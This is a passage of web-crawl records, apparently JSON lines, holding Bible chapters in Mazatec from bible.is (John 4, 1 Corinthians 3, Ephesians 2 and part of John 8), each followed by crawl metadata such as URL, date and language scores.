ko̱chrjekàjin kjo̱hi'in kjoa̱ 'tse̱ jé‑la̱ xi̱ta̱ i̱sà'nde, jè Cristo [ra xá isìkasén‑ni Nainá]. 43Ra kjomà jò ni̱chjin, itjojin‑ní ya̱ Samaria nga kijì ján nangi Galilea. 44Koni 'sín kitsò saba Jesús: Ni̱jngo xi̱ta̱ ra síchjeén Nainá nga chja̱ ngajo‑la̱, 'yaxkón ya̱ nangi‑la̱. 45'Kia̱ nga ijchò ya̱ Galilea, jñà xi̱ta̱ ra ya̱ i̱'nde‑la̱, nda iskábétjò, nga̱ ijyeé kijtse kjoa̱ ra ki'sìn ya̱ Jerusalén 'kia̱ nga itjo 'sí paxko̱; nga̱ jñà xi̱ta̱ kìi̱, kií‑te 'sí. 46Jesús ijchó india‑ni ján Caná, nangi ra chja̱‑ni Galilea, ya̱ ñánda̱ isìkaatjìya‑la̱ nandá nga nandá xán 'tse̱ uva ki'sìn. Ya̱ na̱xi̱ndá Capernaum tíjna jngo xi̱ta̱ ra xá tjín‑te‑la̱ a̱'ta 'tse̱ xi̱ta̱xá ítjòn 'tse̱ Galilea, ko̱ 'ñó kiya jè ndí ti‑la̱. 47Jè xi̱ta̱ ra̱kìi̱ 'kia̱ nga kií'nchré nga jè Jesús ya̱á inchrabà‑ni Judea nga 'ji ya̱ Galilea, kiìjkoón Jesús nga kiì kítsa'ba‑la̱ nga katafì ya̱ ni'ya‑la̱, nga katasínda‑ni jè ndí ti‑la̱ ra ijye tíbiya. 48Jesús kitsó‑la̱: ―Jiòn, tsa mì kì jcha̱a kjo̱xkón ko̱ kjoa̱ ra bakón kjoa̱jeya‑la̱ Nainá, mì kì ko̱kjiín‑no. 49Jè xi̱ta̱ ra kiya i'ndí‑la̱ kitsò‑la̱ Jesús: ―Ji̱ na̱'ìn, 'ti̱ìn kjo̱nda ndi̱to̱n tjahijtako̱‑ná 'kia̱ nga ti̱kjè biya jè ndí i'ndí‑na̱. 50'Kia̱á kitsò‑la̱ Jesús: ―'Tin‑ni ni'ya‑li; jè i'ndí‑li ijyeé ndaá tíjna‑ni. Xi̱ta̱ ra̱kìi̱ kjokjiín‑la̱ jè 'én ra ko̱kitsò‑la̱ Jesús; kijí‑ni ni'ya‑la̱. 51'Kia̱ nga ijye ijchò chraña‑ni ni'ya‑la̱, jñà xi̱ta̱ chi̱'nda‑la̱ itjotji̱ngi‑la̱ nga kitsò‑la̱: ―Jè i'ndí‑li, ijyeé nda tíjna‑ni, tíjnakon‑ní. 52Jè xi̱ta̱ ra̱kìi̱, 'kia̱á iskonangi kó chon kjòn‑ni nga kjonda‑ni jè ndí ti‑la̱. 'Kia̱á tsi'kìn‑la̱: ―Ngojña̱ tsa la una itjahíxìn‑la̱ 'chin 'ndi̱. 53Jè na̱'ìn‑la̱ ndí ti ra kiya, ítsjen‑la̱ nga ti̱jè‑ni hora 'kia̱ nga kitsò‑la̱ Jesús: \"Jè i'ndí‑li, ijyeé nda tíjna‑ni.\" Xi̱ta̱ ra̱kìi̱, ko̱ nga'tsì xi̱ta̱ ra tjítsa̱jna ya̱ ni'ya‑la̱, 'koa̱á 'sín jè Jesús tsaká'ta ikon. 54Jé kjo̱xkón ra̱kìi̱ ra ma‑nì jò ra ki'sìn Jesús, 'kia̱ nga inchrabà‑ni nangi Judea nga 'ji ya̱ nangi Galilea.\nSan Juan 4","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/John\/4","date":"2013-12-11T23:26:06Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164093068\/warc\/CC-MAIN-20131204133453-00009-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000084639,"language_script":"Latn","minhash_cluster_size":23,"top_langs":"{\"maa_Latn_score\": 1.000008463859558}","num_words":1216,"character_repetition_ratio":0.063,"word_repetition_ratio":0.0,"special_characters_ratio":0.246,"stopwords_ratio":0.344,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1'Ndsé ko̱ tichjeé, 'kia̱ nga 'sa̱ ítjòn, mì kì kjomà nda ítsakakó‑no koni tsa jñà xi̱ta̱ ra nda tísíxájin ya̱ inìma̱‑la̱ jè Inìma̱ Tsje‑la̱ Nainá, ta 'koa̱á 'sín ítsakakó‑no koni tsa xi̱ta̱ i̱sà'nde 'mì‑no koni tsa 'sa̱ i̱xti‑xó jiòn ra kjoa̱ 'tse̱ Cristo. 2Kií ítsakon‑yá‑no kjoa̱ ra mì tsa chjá tjín, koni 'sín nìko̱ jñà i̱xti‑xó ra 'sa̱ i̱nchibaki nga ta tsjín 'bi ko̱ mì tsa tsajmì ra tája kjine; nga̱ kjè kì ma‑najiòn tsa ko̱tjín ra chji̱ne̱e, ko̱ skanda 'ndi̱ 'ndi̱, takó kjè kì nda fìya‑no kó'sín tjín kjoa̱chji̱ne̱‑la̱ Nainá. 3Nga̱ takó 'koa̱á 'sín i̱nchi'nià jiòn koni 'sín 'sín ra taxki̱ xi̱ta̱ ra bátsji kjoa̱ ra síjé ijo‑la̱. 'Kia̱ nga takó tjín‑no kjoa̱chi̱ni̱ ko̱ nga ti̱jiòn chitikjoò‑no, ¿a mí tsa ko̱'sín i̱nchi'nià koni tsa taxki̱ xi̱ta̱ i̱sà'nde ra bátsji kjoa̱ ra síjé ijo‑la̱? 4'Kia̱ nga tjín i'ka jiòn ra bixó: \"'A̱n, xi̱ta̱ 'tse̱ Pablo‑ná\", ko̱ jè ra ìjngo tsò: \"'A̱n, ya̱á fì'ta‑la̱ jè Apolos\", ¿a mí tsa ta kjo̱bítsjen 'tse̱ xi̱ta̱ i̱sà'nde ra i̱nchinìchjeén jiòn, 'kia̱ nga ko̱'sín bixó? 5'A̱n ra Pablo ko̱ jè Apolos, mì tsa yá‑naji̱n. Tà xi̱ta̱ chi̱'nda‑náji̱n ra a̱'ta 'tse̱ Nainá. Ji̱ín isìchjeén‑naji̱n Nainá nga kjokjiín‑no ra a̱'ta 'tse̱ Cristo koni 'sín nga jngó jngó‑na̱ji̱n, kja̱ kitsjá xá kja̱ kitsjá xá‑naji̱n Nainá. 6'A̱n‑ná koni jngo xi̱ta̱ ra tsikítje̱ ko̱ jè Apolos koni jngo xi̱ta̱ ra tsikíngi‑la̱ nandá, tanga jè Nainá ra isikìhijin‑ni. 7Jè ra bítje̱, ko̱ jè ra bíngi‑la̱ nandá, mì tsa 'ñó chjí‑la̱ ra jñà; ta jngo jè Nainá ra 'ñó chjí‑la̱, nga̱ jé kjón‑ni ra síkihijin tsajmì ra sitje̱. 8Jè ra bítje̱ ko̱ jè ra bíngi‑la̱ nandá ta jngoó xá i̱nchi'sín, ni̱'sín jè Nainá, kja̱ tsjá kja̱ tsjá‑la̱ chjí‑la̱ koni 'sín tjín xá ra 'sín. 9Ra ji̱n, ya̱á ta̱ña níxákjo‑ji̱n a̱'ta 'tse̱ xá‑la̱ Nainá. Ko̱ jión‑nájiòn koni jngo nangi ra a̱'ta 'tse̱ Nainá ñánda̱ nga tjítje̱‑la̱ tsajmì. Ko̱ ti̱'koa̱á jión‑nájiòn koni jngo ni'ya chrjó‑la̱ Nainá ra ji̱n i̱nchibinda‑ji̱n. 10Jè kjo̱nda‑la̱ Nainá ra 'a̱n itjábé‑na, jé‑ní nga 'a̱án tsikí'tin‑na koni jngo chji̱ne̱ chrjó ítjòn nga tsikíjna tjà'tsin kjoa̱ 'tse̱ Nainá koni jngo chrjó‑la̱ ni'ya. Ko̱ kj'ií‑ní jè ra bako̱‑la̱ nga bíndasòn‑isa. Tanga machjeén‑ní nga nda katakotsíjen‑la̱ nga jngó jngó, a ndaá i̱nchibínda-són'nga. 11Nga̱ mì ti̱ yá ra ko̱ma‑la̱ ki̱ìjna tjà'tsin ìjngo‑isa, koni jè ra ijye tíjna tjà'tsin, ra ngi jè saba Jesucristo. 12Tanga tsa yá ra ki̱indasón'nga‑la̱ jè tjà'tsin chrjó ra̱kìi̱ nga si̱ìchjeén ra ngi ki̱cha̱ sinè, ko̱ tsa jñà ra ki̱cha̱ chroba, ko̱ tsa jñà na̱jo̱ ra 'ñó chjí chjí‑la̱, ko̱ tsa yá si̱ìchjeén, ko̱ tsa jñà xka̱ ndi̱jyi̱ ko̱ tsa jñà xka̱jén. 13'Kia̱á nda jcha̱‑la̱ jè xá ra 'si̱in nga jngó jngó xi̱ta̱, 'kia̱ nga ki̱jchò ni̱chjin nga si̱ndajín ijye‑la̱ xi̱ta̱ nga'tsì jé‑la̱; nga̱ ngi ko̱ó ni'í kj'i̱í 'kia̱ ki̱jchò jè ni̱chjin; ko̱ jè ni'í sko̱ó'ta jè xá ra ki'sìn nga jngó jngó xi̱ta̱. 14Tsa mì kì jti̱ jè xá ra kjomà, jè ra tsikínda xá ra̱kìi̱, tjábé‑la̱ chjí‑la̱. 15Tanga tsa tjín i'ka xi̱ta̱ ra jti̱ xá‑la̱, jè ra ki'sìn xá ra̱kìi̱, si̱ìjchija chjí‑la̱. Tanga ko̱tojiín ra kjo̱hi'in, koni tsa batojin kjòn ni'í. 16¿A mí 'ya jiòn, nga ni'ya i̱ngo̱‑la̱ Nainá ma jiòn, ko̱ nga jè Inìma̱ Tsje‑la̱ Nainá ya̱á tíjnajin‑no? 17Tsa yá ra si̱ìkitsón‑ña jè ni'ya i̱ngo̱‑la̱ Nainá, jè Nainá, 'koa̱á ti̱'sín si̱ìko̱ ngajo‑ni jè ra ko̱'sín 'si̱in. Nga̱ jè ni'ya i̱ngo̱‑la̱ Nainá, tsje‑ní; ko̱ jión‑nájiòn ra ko̱'sín ni'ya i̱ngo̱‑la̱ Nainá 'mì‑no. 18Kì yá ra ti̱jè ijo‑la̱ konda̱cha̱‑ila̱; tsa títsa̱jnajin i'ka‑no ra ko̱'sín tsò‑la̱ ijo‑la̱ nga 'ñó tjín‑la̱ kjo̱chji̱ne̱ ra ta kjo̱bítsjen 'tse̱ i̱sà'nde, isa̱á nda‑ni tsa ko̱'sín kata'sín koni tsa ni̱mé machi̱ya‑la̱, mé‑ni nga ko̱ma sa̱kò kiti‑la̱ ra ngi kjoa̱chji̱ne̱ 'tse̱ Nainá. 19Nga̱ ta kjoa̱ská‑ni ya̱ ngixko̱n Nainá, jñà kjoa̱chji̱ne̱ ra ta kjo̱bítsjen 'tse̱ xi̱ta̱ i̱sà'nde. Nga̱ 'koa̱á 'sín tíchja̱ jè xa̱jo̱n ra tjí'ta 'én‑la̱ Nainá, nga tsò: \"Jè Nainá, ti̱jñà síchjeén‑ni kjoa̱ maña̱ ra 'sín xi̱ta̱ chji̱ne̱ mé‑ni nga ti̱jñà kàjin‑ni kjoa̱.\" 20Ti̱'koa̱á tsò‑te india‑ni jè xa̱jo̱n ra tjí'ta 'én‑la̱ Nainá: \"Jè Na̱'ín‑ná be‑ní nga ni̱mé chjí‑la̱ jñà kjo̱bítsjen‑la̱ xi̱ta̱ ra chji̱ne̱ tsò‑la̱ ijo‑la̱.\" 21'Koa̱á ma‑ni, kì ni̱jngo xi̱ta̱ 'nga níkíjna jiòn, nga̱ nga'tsì kjo̱nda ra tjín, kjo̱nda tsa̱jión‑nó: 22koni jè Pablo, koni jè Apolos, koni jè Cefas, koni jè i̱sà'nde, koni jè kjo̱binachon, koni jè kjoa̱biya, koni jè ni̱chjin ra titsa̱jneé 'ndi̱‑ni̱, ko̱ ni̱chjin ra 'sa̱ nchrabá, sabà kjo̱nda tsa̱jión‑nájiòn. 23Ko̱ ra jiòn‑jiòn, 'tse̱ Cristo‑ní, ko̱ jè Cristo 'tse̱é Nainá.\n1 Corintios 3","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/1Cor\/3","date":"2013-12-08T15:15:22Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163066051\/warc\/CC-MAIN-20131204131746-00090-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000092983,"language_script":"Latn","minhash_cluster_size":20,"top_langs":"{\"maa_Latn_score\": 1.000009298324585}","num_words":713,"character_repetition_ratio":0.06,"word_repetition_ratio":0.0,"special_characters_ratio":0.244,"stopwords_ratio":0.353,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Nga ti̱'sa̱ kjotseé, kjiín titsa̱hijyo jiòn ra a̱'ta 'tse̱ Nainá, 'koa̱á ngoya‑la̱ koni tsa ijye 'ken jiòn, ta nga̱tjì‑la̱ jñà jé ko̱ jñà kjoa̱'cho ra ki'nià. 2Ko̱ jñà inìhitjasòn‑la jiòn koni 'sín tjín kjoa̱ ra 'sín jñà xi̱ta̱ i̱sà'nde ra̱kìi̱; 'koa̱á 'sín ki'nià jiòn koni 'sín mejèn‑la̱ jè nga'ñó‑la̱ ni̱í ra batéxoma ya̱ a̱jin i̱sén, ra ti̱jñà‑ni inìma̱ 'cho‑la̱ ni̱í ra batéxomajin ya̱ inìma̱‑la̱ xi̱ta̱ ra mì kì ma‑la̱ síhitjasòn‑la̱ Nainá. 3Ti̱'koa̱á nga'tsì‑ná, ya̱á tsikitsa̱jieén jñà ni̱chjin ra ijye tsato, nga ko̱'sín ki'nié koni 'sín nga nda isasèn‑la̱ ijo‑ná; 'koa̱á 'sín kinitjasén koni 'sín tjín kjoa̱ ra mejèn‑ná ra jién, ko̱ koni 'sín nga kitsó‑ná jè kjo̱bítsjen‑ná. Ta nga̱tjì‑la̱ nga'tsì kjoa̱ kìi̱, bakén‑ná nga ngásòn tsjáhi'in‑ná Nainá tsiki koni jñà xi̱ta̱ ra i'ka. 4Tanga jè Nainá, 'ñó tse kjo̱hi̱ma̱takòn tjín‑la̱ nga ngi ko̱ó nga'ñó 'tse̱ kjo̱tsjacha‑la̱ kjotsjake‑ná. 5Nga ti̱'sa̱ kjotseé, kjiín tsikitsa̱jna‑lá Nainá ta nga̱tjì‑la̱ jñà jé‑ná, 'koa̱á ngoya‑la̱ koni tsa ijyeé 'keén. Tanga jè Nainá kisíkítsa̱jnakon‑ko̱‑ná ko̱ Cristo; (ko̱ ngi ta kjo̱nda 'tse̱ Nainá‑ní nga ítjo̱kajin jiòn kjo̱hi'in). 6Nainá ta̱ñaá isikjaáya ko̱‑ná ko̱ Cristo, ko̱ ya̱á ta̱ña isíkítsa̱jnakjo ko̱‑ná ya̱ ján ngajmi. 7Kií ko̱'sín ki'sìn‑ni mé‑ni nga ko̱kòn‑ni ni̱chjin ra 'sa̱ nchrabá‑isa kó'sín 'ñó tse chjí‑la̱ jè kjo̱nda‑la̱ ra kitsjá‑ná koni 'sín kjòhi̱ma̱ke‑ná nga ya̱ titsa̱jnake̱é Cristo. 8Nga̱ ta kjo̱tjó‑ní nga ma ítjo̱kajin jiòn kjo̱hi'in ra 'tse̱ jé‑no, ta kií‑ní nga kjokjiín‑najiòn; mì tsa a̱'ta tsa̱jiòn inchrabà‑ni kjoa̱ kìi̱, jé Nainá kitsjà kjo̱tjò‑no kjo̱nda ra̱kìi̱. 9Mì tsa ki‑ni mé kjoa̱ ra nda ki'nià jiòn. 'Koa̱á ma‑ni nga mì kì ko̱ma yá ra 'nga si̱ìkíjna ijo‑la̱. 10Nga̱ jién, xi̱ta̱ xi̱tse̱é ki'sín‑ná Nainá nga ya̱ titsa̱jnake̱é Cristo Jesús; kií xá tsikínda‑ná mé‑ni nga jñà 'sia̱n‑ná nga'tsì kjoa̱ ra nda tjín, jñà kjoa̱ ra ijye ko̱'sín ti̱ngi tsikíhijyondá‑ni Nainá nga si̱hitjasén. 11'Koa̱á ma‑ni jiòn ra mì tsa a̱'ta 'tse̱ xi̱ta̱ judío inchrabà‑ni tje̱‑no, chja̱jnoó‑no xi̱ta̱ judío ra tjí'ta chi̱ba̱ ijo‑la̱ nga tsò: \"Mì tsa mé chjí‑no nga mì tsa tjí'ta chi̱ba̱ ijo‑no kjoa̱ 'tse̱ circuncisión.\" Tanga ta tsja xi̱ta̱á kisi'ta chi̱ba̱‑ni ijo‑la̱ xi̱ta̱ kìi̱. 12Ti̱kítsjen jè ni̱chjin ra tsato nga mì tsa ya̱ titsa̱jnako̱o jè Cristo, ko̱ mì tsa ya̱ nakjoá‑najiòn a̱'ta 'tse̱ na̱xi̱ndá Israel, ko̱ mì tsa ya̱ bako̱‑no jñà kjoa̱ ra Nainá ko̱'sín tsikíndajín‑ko̱ xi̱ta̱ Israel 'kia̱ nga kitsjà‑la̱ 'én‑la̱, ko̱ ni̱mé kjo̱nda i̱nchichiñá‑la jiòn ko̱ mì kì 'yaxkon Nainá jñà ni̱chjin kiòo̱. 13Tanga 'ndi̱‑ni̱ nga ya̱ titsa̱jnako̱o Cristo Jesús, jé Nainá ko̱'sín isichraña‑najiòn ta nga̱tjì‑la̱ jní ra tsikíxten Cristo, jiòn ra kjiín titsa̱jna‑la Nainá nga ti̱'sa̱ kjotseé. 14Nga̱ jé Cristo kisíkítsa̱jna 'nchán‑ná. Jè, jngo na̱xi̱ndá ki'sìn‑ni jñà ra xi̱ta̱ judío ko̱ ra mì tsa xi̱ta̱ judío nga tsjahíxìn jè kjoa̱ ra batéchjá‑ná koni tsa jngo chrjó ra síjnaya masen‑ná tsiki nga mì nda chibé; ko̱ jè tsjahíxìn kjo̱si ra tjín‑ná tsiki 'kia̱ nga kitsjà ijo‑la̱ nga 'ken ya̱ a̱'ta krò. 15Ti̱'koa̱ tsjahíxìn jñà kjoa̱ ra síjé jè kjo̱téxoma ra itjábé‑la̱ Moisés. Kií ko̱'sín ki'sìn‑ni mé‑ni nga jñà xi̱ta̱‑la̱ ra ngajò na̱xi̱ndá, jngoó jtín 'si̱in‑ni ra ngi xi̱ta̱ xi̱tse̱, 'koa̱á ma‑ni nga 'jiìkó kjo̱'nchán. 16'Kia̱ nga 'ken ya̱ a̱'ta krò jè Cristo, jé nda isijo̱ókjo‑ni ko̱ Nainá ta ngajò na̱xi̱ndá kìi̱ nga isìjngo‑ni; ya̱á isì'ken nga'tsì ra kjoa̱ kondra̱ 'mì. 17Jiòn ra kjin titsa̱jna‑la Nainá nga ti̱'sa̱ ítjòn, ko̱ ji̱n ra chraña titsa̱hijyo‑la̱ji̱n Nainá, jè Cristo 'ji 'kéna̱jmíya‑ná 'én nda‑la̱ Nainá ra tji̱ko̱ kjo̱'nchán. 18Nga̱ ta a̱'ta 'tse̱‑ní nga tjí'nde‑la̱ nga ma koa̱àko̱na̱jmí‑ni Nainá jñà xi̱ta̱ judío ko̱ ra mì tsa xi̱ta̱ judío nga ta jngoó Inìma̱ Tsje‑la̱ Nainá i̱nchisíxájin inìma̱‑la̱. 19'Koa̱á ma‑ni, jiòn ra mì tsa xi̱ta̱ judío, 'ndi̱‑ni̱, mì tsa ti̱ xi̱ta̱ xìn nangi‑najiòn; ngásón ya̱ ta̱jngo nakjoá‑no ya̱ na̱xi̱ndá‑la̱ Nainá, ko̱ ijyeé 'ndsè chiba ko̱ nga'tsì xi̱ta̱‑la̱ Nainá. 20Jiòn, 'koa̱á jngoya‑la̱ koni jngo ni'ya ra tísindasòn jè chrjó ra ta̱'koa̱ ijye tíjna. Jè chrjó ra̱kìi̱, jñá xi̱ta̱ ra tsikíxáya‑la̱ Cristo ko̱ jñá xi̱ta̱ ra kiìchja̱ ngajo‑la̱ Nainá. Ko̱ jé Cristo tíjna koni na̱jo̱ ngàchrja̱ngi̱‑la̱ chrjó ni'ya ra̱kìi̱. 21Nga ko̱ Cristo, kóho'ki ni'ya, nda kjón‑ní tísí'ñóya nga tímihijin skanda nga ko̱jngo tíjngo nga jngo ni'ya tsje‑la̱ Nainá ko̱ma. 22Ta nga̱tjì‑la̱ nga ya̱ titsa̱jnako̱o jiòn Cristo, ti̱'koa̱á ya̱á majngoko̱o jiòn jè ni'ya ra̱kìi̱ ñánda̱ nga jè Nainá tíjna nga Inìma̱ Tsje.\nEfesios 2","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/Eph\/2","date":"2013-12-05T11:51:12Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163044524\/warc\/CC-MAIN-20131204131724-00023-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000092983,"language_script":"Latn","minhash_cluster_size":26,"top_langs":"{\"maa_Latn_score\": 1.000009298324585}","num_words":683,"character_repetition_ratio":0.059,"word_repetition_ratio":0.0,"special_characters_ratio":0.227,"stopwords_ratio":0.351,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ta̱nga Jesús, ján kiì ya̱ nindoò Yá Olivo. 2Nga komà nchijòn ta̱jñòyaá j'iì‑ne ya̱ i̱ngo̱ ítjòn. Ngats'iì xi̱ta̱ j'iì tji̱ngui‑la̱ Jesús ñánda tíjna. K'e̱é tsibìjna nga tsakóya‑la̱ jñà xi̱ta̱. 3Jñà xi̱ta̱ xi okóya kjo̱tíxoma‑la̱ Nainá xi kiskiì Moisés ko̱ xi̱ta̱ fariseo ijchòko̱ jngoò chjo̱ón xi ki'yat'in‑la̱ nga kjoa̱ chijngui tís'ín. Tsasíjna osen ñánda títsa̱jna ngats'iì xi̱ta̱; 4Jñà xi̱ta̱ koi kitsò‑la̱ Jesús: ―Maestro, chjo̱ón jè, ndaà kà'yat'in‑la̱ nga kjoa̱ chijngui tís'ín. 5Jè kjo̱tíxoma‑la̱ Moisés, k'oa̱á s'ín tíchja̱ nga jñà íchjín xi k'oa̱ tjín kjoa̱ xi ótsji nda̱jo̱ó ki̱yá‑ne. Ngaji̱, ¿kó si? 6Jñà xi̱ta̱ koi, koií k'oa̱s'ín kitsò‑la̱ Jesús nga mejèn‑la̱ skót'aà, mé‑ne ko̱ma ko̱hòngui‑ne i̱t'aà ts'e̱ xi̱ta̱xá. Ta̱nga Jesús, tsasìñiat'aà nangui nga kiskiìjno‑ne ko̱ jnótsja i̱t'aà nangui. 7Xi̱ta̱ koi nga siì nchis'ín nga kjònangui, Jesús tsasíjna kixi̱ kitsò‑la̱: ―Jñò, tsà tjín i'nga xi̱ta̱ xinguio̱o xi tsjìn‑la̱ jé, jè kàtínè ítjòn nda̱jo̱ chjo̱ón jè. 8Jesús ìjngoò k'a tsasìñia nga kiskiìjno ìsa̱ i̱t'aà nangui. 9Jñà xi̱ta̱ koi, k'e̱ nga kiì'nchré koni s'ín kitsò Jesús, tà íjngó íjngó kiì‑ne, nga kijtseè nga mìkiì ndaà tjín kjo̱hítsjeèn xi kiìchja̱, tsibíts'ia̱‑ne xi xi̱ta̱ jchínga, i̱kjoàn kiì‑ne i̱xti. Tà jè ta̱jngoò Jesús ko̱ chjo̱ón tsibìtsa̱jna. 10Jesús tsasíjna kixi̱‑ne, kijtseè nga mì ti̱ yá xi̱ta̱ tjín‑ne. Ta̱ jè ta̱jngoò chjo̱ón síjna. K'e̱é kitsò‑la̱: ―¿Ñánda títsa̱jna xi̱ta̱ xi óngui‑lè? ¿A ni̱jngoò xi kòhónè‑lè kjo̱'in? 11Jè chjo̱ón kitsò: ―Na̱'èn, ni̱yá‑jèn. Jesús kitsò‑la̱: ―Ti̱koa̱á 'a̱n, mìkiì kìnè‑lè kjo̱'in. T'in‑ne ni'ya‑lè; kì ti̱ jé binchaàtsji‑ne. 12Jesús, ìjngoò k'a kiìchja̱jiìn‑la̱ jñà xi̱ta̱, kitsò‑la̱: ―'A̱n‑ná ni'ín xi síhiseèn‑la̱ i̱sò'nde. Jè xi 'a̱n fìt'aà‑na s'e̱é‑la̱ ni'ín xi tsjá kjoa̱binachon. Mì ti̱ kiì ya̱ ko̱jmejiìn‑ne kjoa̱jñò. 13Jñà xi̱ta̱ fariseo kitsò: ―Ti ji̱í tì'biì‑ne 'én i̱t'aà tsi̱ji. 'Én xi nokjoì, ni̱mé chjí‑la̱. 14Jesús kiìchja̱ kitsò‑la̱: ―'Én xi chjà, chjí‑la̱‑né, na̱s'ín ti̱'a̱n tsjaà‑na 'én xi i̱t'aà ts'a̱n. Nga be‑ná ñánda j'i̱‑na ko̱ ñánda tìfia. Ta̱nga jñò mìkiì 'yaà ñánda j'i̱‑na ko̱ ñánda tìfia. 15Jñò, tà kjo̱hítsjeèn ts'e̱ xi̱ta̱á nìkjeén k'e̱ nga jé bìnè‑ná. Ta̱nga 'a̱n ni̱jngoò xi̱ta̱ bìnè‑la̱ jé. 16Ta̱nga 'a̱n, tsà yá xi̱ta̱ xi konè‑la̱ jé, kjoa̱kixi̱í xi s'iaàn. Nga mìtsà ta̱jngoò bìndaàjiaàn, ko̱ó Na̱'èn‑na̱ xi kisìkasén‑na̱ bíndaàjiìn‑ko̱‑na. 17Kjo̱tíxoma tsa̱jòn k'oa̱s'ín tíchja̱ nga tsò: K'e̱ nga tsà jò ma‑ne xi̱ta̱ xi tsjá 'én, tsà ngásòn tsò ingajò, kixi̱í kjoa̱, chjí‑la̱ né. 18Ti̱'a̱án‑na̱ xi tsjaà 'én i̱t'aà ts'a̱n. Ko̱ ti̱koa̱á jè Na̱'èn‑na̱ xi kisìkasén‑na̱ tsjá 'én i̱t'aà ts'a̱n. 19Jñà xi̱ta̱ fariseo, kiskònangui‑la̱ kitsò‑la̱: ―¿Ñánda tíjna Na̱'èn‑lè? Kiìchja̱ Jesús, kitsò‑la̱: ―Jñò, 'a̱n, mìkiì yaxkon‑ná, ni̱ jè Na̱'èn‑na̱ mìkiì yaxkon. 'A̱n, tsà yaxkon‑ná ti̱koa̱á jcha̱xkon‑nò Na̱'èn‑na̱. 20K'e̱ nga tsakóya jñà 'én koi Jesús, ya̱á tíjna ya̱ i̱ngo̱ ítjòn ya̱ chrañàt'aà‑la̱ i̱'nde ñánda maxkón to̱n kjo̱tjò. Ni̱jngoò xi̱ta̱ xi kitsò ikon nga kitsobà'ñó Jesús nga kj'eè kiì bijchó na̱chrjein‑la̱ nga ki̱yá. 21Jesús ìjngoò k'a kitsò‑la̱: ―'A̱n, tìfi‑ná. Jñò, ki̱nchátsji‑ná. Ta̱nga jñò ya̱á ki̱yájñoò jé‑nò. Ya̱ ñánda 'a̱n tìfia, jñò mìkiì ko̱ma konguió. 22Jñà xi̱ta̱ judío kitsò‑la̱ xíkjín: ―¿A ti̱jè si̱ìk'en‑ne yijo‑la̱? ¿Mé‑ne k'oa̱ tsò‑ne, nga tsò: Ya̱ ñánda 'a̱n tìfia, jñò mìkiì ko̱ma konguió? 23Jesús kitsò‑la̱: ―Jñò, i̱í i̱t'aà nangui tsa̱jòn, ta̱nga 'a̱n ján ngajmiì ts'a̱n. Jñò, i̱í i̱'nde‑nò i̱sò'nde, 'a̱n, mìtsà i̱sò'nde i̱'nde‑na̱. 24Koií k'oa̱s'ín kixan‑nò nga ya̱ ki̱yájñoò jé‑nò nga mìkiì mokjeiín‑nò nga 'a̱n‑ná (xi Cristo). Koií kjoa̱‑la̱ nga ki̱yájñoò jé‑nò. 25Xi̱ta̱ judío, kiskònangui‑la̱, kitsò‑la̱: ―¿Yá‑ne ngaji̱? Jesús kiìchja̱, kitsò‑la̱: ―Jyeé o̱kixan‑nò nga sa̱ ítjòn yá‑ná 'a̱n. 26I̱t'aà tsa̱jòn, kjín kjoa̱ tjín ìsa̱ xi 'a̱n kèno̱jmí‑nò, ko̱ xi 'a̱n kìndaàjiìn‑ko̱‑nò. Jè xi kisìkasén‑na nguì 'én kixi̱í xi chja̱. Koni s'ín ki'nchrè‑la̱, k'oa̱á tjín 'én xi 'a̱n chjàjiìn‑la̱ jñà xi̱ta̱ i̱sò'nde. 27Ta̱nga jñà xi̱ta̱ judío mìkiì kjòchi̱ya‑la̱ tsà i̱t'aà ts'e̱ Na̱'èn‑ná xi Nainá tíchja̱ Jesús. 28Jesús kitsò‑la̱: ―Jñò, k'e̱ nga chjímiì'nga‑ná 'a̱n xi Ki'ndí‑la̱ Xi̱ta̱ xan‑la̱ yijo‑na̱, k'e̱é ko̱chi̱ya‑nò nga 'a̱n‑ná [xi Cristo]. Ni̱mé kjoa̱ xi s'iaàn xi ta̱ kjo̱hítsjeèn ts'a̱n. K'oa̱s'ín chjà koni s'ín tsakóya‑na xi Na̱'èn ma. 29Jè xi kisìkasén‑na i̱í tíjnako̱‑na. Mìkiì síkíjna ta̱jngoò‑na Na̱'èn‑na̱. Koií kjoa̱‑la̱ nga kjit'aà na̱chrjein sìkitasoàn koni s'ín sasén‑la̱ jè. 30Jesús, k'e̱ nga kiìchja̱ 'én koi, kjìn jchán xi̱ta̱ kòkjeiín‑la̱ i̱t'aà ts'e̱. 31Jesús kitsò‑la̱ jñà xi̱ta̱ judío xi kòkjeiín‑la̱ i̱t'aà ts'e̱: ―Tsà kixi̱ si̱kitasòn 'én‑na̱ xi okoòya‑nò, jñò‑nò xi nguì kixi̱ kjoa̱ nga 'a̱n kota'yàt'aà‑na. 32Jcha̱xkoòn xi kjoa̱ kixi̱, koa̱ jè kjoa̱ kixi̱ si̱ìkítsa̱jnandei̱í‑nò. 33Kiìchja̱ xi̱ta̱ judío, kitsò: ―Ngaje̱n, xi̱ta̱ tje̱‑la̱ Abraham‑náje̱n. Ni̱ sa̱á jngoò xi̱ta̱ xi kj'ei̱í síkítsa̱jna'ñó‑naje̱n. Ngaji̱, ¿mé‑ne k'oa̱ si‑ne nga ki̱tsa̱jnandei̱í‑naje̱n? 34Jesús kitsò‑la̱: ―Nguì kjoa̱ kixi̱í xi xan‑nò, ngats'iì xi̱ta̱ xi jé ótsji, ya̱á títsa̱jna'ñó i̱t'aà ts'e̱ jé‑la̱, k'oa̱á ngaya‑la̱ koni jngoò xi̱ta̱ chi̱'nda xi tíjna'ñó‑la̱ 